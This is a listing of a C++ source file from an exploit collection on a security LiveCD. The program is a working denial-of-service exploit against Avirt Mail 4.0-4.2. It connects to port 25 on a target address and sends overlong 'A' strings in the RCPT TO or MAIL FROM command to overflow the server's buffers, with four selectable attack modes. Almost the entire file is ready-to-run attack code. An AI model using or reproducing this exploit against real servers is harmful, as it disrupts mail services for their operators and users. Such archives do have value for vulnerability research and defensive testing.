home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / avirt / avirtdos.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  233 lines

  1. /*
  2.    Small piece of code demonstrating DoS vulnerability in Avirt Mail 4.0-4.2
  3.    wersion@trust-me.com
  4.    Win32 console code
  5. */
  6. #include <mem.h>
  7. #include <winsock.h>
  8. #include <iostream.h>
  9. #include <stdlib.h>
  10.  
  11. #define RCPT_SIZE 272
  12. #define FROM_SIZE 556
  13.  
  14. struct sckssString
  15. {
  16.    char *szBuffer;
  17.    int nSize;
  18. };
  19.  
  20. char szHELO[] = "HELO anonymous";
  21. char szMAIL[] = "MAIL FROM: ";
  22. char szRCPT[] = "RCPT TO: ";
  23. char szQUIT[] = "QUIT";
  24. char szDATA[] = "DATA\nTest data\n.";
  25.  
  26. void socksenddata(int socket, sckssString* data)
  27. {
  28.    if(send(socket,data->szBuffer,data->nSize,NULL)!=SOCKET_ERROR)
  29.    {
  30.       cout << "->" << data->szBuffer << endl;
  31.       return;
  32.    }
  33.    else
  34.    {
  35.       cout << endl << "WSA error (" << WSAGetLastError() << ")" << endl;
  36.       exit(1);
  37.    }
  38. }
  39.  
  40. void socksendendline(int socket)
  41. {
  42.    if(send(socket,"\n",1,NULL)!=SOCKET_ERROR) return;
  43.    else
  44.    {
  45.       cout << endl <<  "WSA error (" << WSAGetLastError() << ")" << endl;
  46.       exit(1);
  47.    }
  48. }
  49.  
  50. void socksendanum(int socket, unsigned long int num)
  51. {
  52.    char *tempa = new char[num+1];
  53.    memset(tempa,'A',num);
  54.    tempa[num]=0;
  55.    if(send(socket,tempa,num,NULL)!=SOCKET_ERROR)
  56.    {
  57.       cout << "->" << tempa << endl;
  58.       return;
  59.    }
  60.    else
  61.    {
  62.       cout << endl <<  "WSA error (" << WSAGetLastError() << ")" << endl;
  63.       exit(1);
  64.    }
  65.    delete[] tempa;
  66. }
  67.  
  68. int main(int argv, char **argc)
  69. {
  70.    if(argv<3)
  71.    {
  72.       cout << "Usage: " << argc[0] << " ip-address type" << endl;
  73.       cout << "Types:" << endl;
  74.       cout << "1 - Overflow in RCPT TO: command.   (aborted session)" << endl;
  75.       cout << "2 - Overflow in MAIL FROM: command. (aborted session)" << endl;
  76.       cout << "3 - Overflow in RCPT TO: command.   (finnished session)" << endl;
  77.       cout << "2 - Overflow in MAIL FROM: command. (finnished session)" << endl;
  78.       exit(1);
  79.    }
  80.    WORD wVersionRequested = MAKEWORD(1,1);
  81.    WSADATA wsaData;
  82.    WSAStartup(wVersionRequested, &wsaData);
  83.  
  84.    SOCKADDR_IN saExploit;
  85.    saExploit.sin_family = PF_INET;
  86.    saExploit.sin_addr.s_addr = inet_addr(argc[1]);
  87.    saExploit.sin_port = htons(25);
  88.  
  89.    SOCKET sckExploit = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  90.    if (sckExploit == INVALID_SOCKET)
  91.    {
  92.       cout << "WSA error (" << WSAGetLastError() << ")" << endl;
  93.       WSACleanup();
  94.       return 1;
  95.    }
  96.  
  97.    if (connect(sckExploit,(LPSOCKADDR)&saExploit,sizeof(saExploit))==SOCKET_ERROR)
  98.    {
  99.       cout << "WSA error (" << WSAGetLastError() << ")" << endl;
  100.       shutdown(sckExploit,2);
  101.       closesocket(sckExploit);
  102.       WSACleanup();
  103.       return 1;
  104.    }
  105.  
  106.    sckssString sckssHelo;
  107.    sckssHelo.nSize = strlen(szHELO);
  108.    sckssHelo.szBuffer = new char[sckssHelo.nSize+1];
  109.    strcpy(sckssHelo.szBuffer, szHELO);
  110.  
  111.    sckssString sckssMail;
  112.    sckssMail.nSize = strlen(szMAIL);
  113.    sckssMail.szBuffer = new char[sckssMail.nSize+1];
  114.    strcpy(sckssMail.szBuffer, szMAIL);
  115.  
  116.    sckssString sckssRcpt;
  117.    sckssRcpt.nSize = strlen(szRCPT);
  118.    sckssRcpt.szBuffer = new char[sckssRcpt.nSize+1];
  119.    strcpy(sckssRcpt.szBuffer, szRCPT);
  120.  
  121.    sckssString sckssQuit;
  122.    sckssQuit.nSize = strlen(szQUIT);
  123.    sckssQuit.szBuffer = new char[sckssQuit.nSize+1];
  124.    strcpy(sckssQuit.szBuffer, szQUIT);
  125.  
  126.    sckssString sckssData;
  127.    sckssData.nSize = strlen(szDATA);
  128.    sckssData.szBuffer = new char[sckssData.nSize+1];
  129.    strcpy(sckssData.szBuffer, szDATA);
  130.  
  131.    cout << "Beginning session..." << endl;
  132.  
  133.    switch(atoi(argc[2]))
  134.    {
  135.       case 1:
  136.       {
  137.          socksenddata(sckExploit,&sckssHelo);
  138.          socksendendline(sckExploit);
  139.  
  140.          socksenddata(sckExploit,&sckssMail);
  141.          socksendanum(sckExploit,5);
  142.          socksendendline(sckExploit);
  143.  
  144.          socksenddata(sckExploit,&sckssRcpt);
  145.          cout << "Overflowing RCPT TO:" << endl;
  146.          socksendanum(sckExploit,RCPT_SIZE);
  147.          socksendendline(sckExploit);
  148.  
  149.          cout << "Aborting session before data." << endl;
  150.          socksenddata(sckExploit,&sckssQuit);
  151.          socksendendline(sckExploit);
  152.          break;
  153.       }
  154.       case 2:
  155.       {
  156.          socksenddata(sckExploit,&sckssHelo);
  157.          socksendendline(sckExploit);
  158.  
  159.          socksenddata(sckExploit,&sckssMail);
  160.          cout << "Overflowing MAIL FROM:" << endl;
  161.          socksendanum(sckExploit,FROM_SIZE);
  162.          socksendendline(sckExploit);
  163.  
  164.          socksenddata(sckExploit,&sckssRcpt);
  165.          socksendanum(sckExploit,5);
  166.          socksendendline(sckExploit);
  167.  
  168.          cout << "Aborting session before data." << endl;
  169.          socksenddata(sckExploit,&sckssQuit);
  170.          socksendendline(sckExploit);
  171.          break;
  172.       }
  173.       case 3:
  174.       {
  175.          socksenddata(sckExploit,&sckssHelo);
  176.          socksendendline(sckExploit);
  177.  
  178.          socksenddata(sckExploit,&sckssMail);
  179.          socksendanum(sckExploit,5);
  180.          socksendendline(sckExploit);
  181.  
  182.          socksenddata(sckExploit,&sckssRcpt);
  183.          cout << "Overflowing RCPT TO:" << endl;
  184.          socksendanum(sckExploit,RCPT_SIZE);
  185.          socksendendline(sckExploit);
  186.  
  187.          socksenddata(sckExploit,&sckssData);
  188.          socksendendline(sckExploit);
  189.  
  190.          cout << "Ending session." << endl;
  191.          socksenddata(sckExploit,&sckssQuit);
  192.          socksendendline(sckExploit);
  193.          break;
  194.       }
  195.       case 4:
  196.       {
  197.          socksenddata(sckExploit,&sckssHelo);
  198.          socksendendline(sckExploit);
  199.  
  200.          socksenddata(sckExploit,&sckssMail);
  201.          cout << "Overflowing MAIL FROM:" << endl;
  202.          socksendanum(sckExploit,FROM_SIZE);
  203.          socksendendline(sckExploit);
  204.  
  205.          socksenddata(sckExploit,&sckssRcpt);
  206.          socksendanum(sckExploit,5);
  207.          socksendendline(sckExploit);
  208.  
  209.          socksenddata(sckExploit,&sckssData);
  210.          socksendendline(sckExploit);
  211.  
  212.          cout << "Ending session." << endl;
  213.          socksenddata(sckExploit,&sckssQuit);
  214.          socksendendline(sckExploit);
  215.          break;
  216.       }
  217.       default:
  218.       {
  219.          cout << "Type " << argc[2] << " not allowed." << endl;
  220.          break;
  221.       }
  222.    }
  223.  
  224.    shutdown(sckExploit,2);
  225.    closesocket(sckExploit);
  226.    WSACleanup();
  227.    cout << endl << "Ready!" << endl;
  228.    return 0;
  229. }
  230.  
  231.  
  232. --=====================_972334194==_--
  233.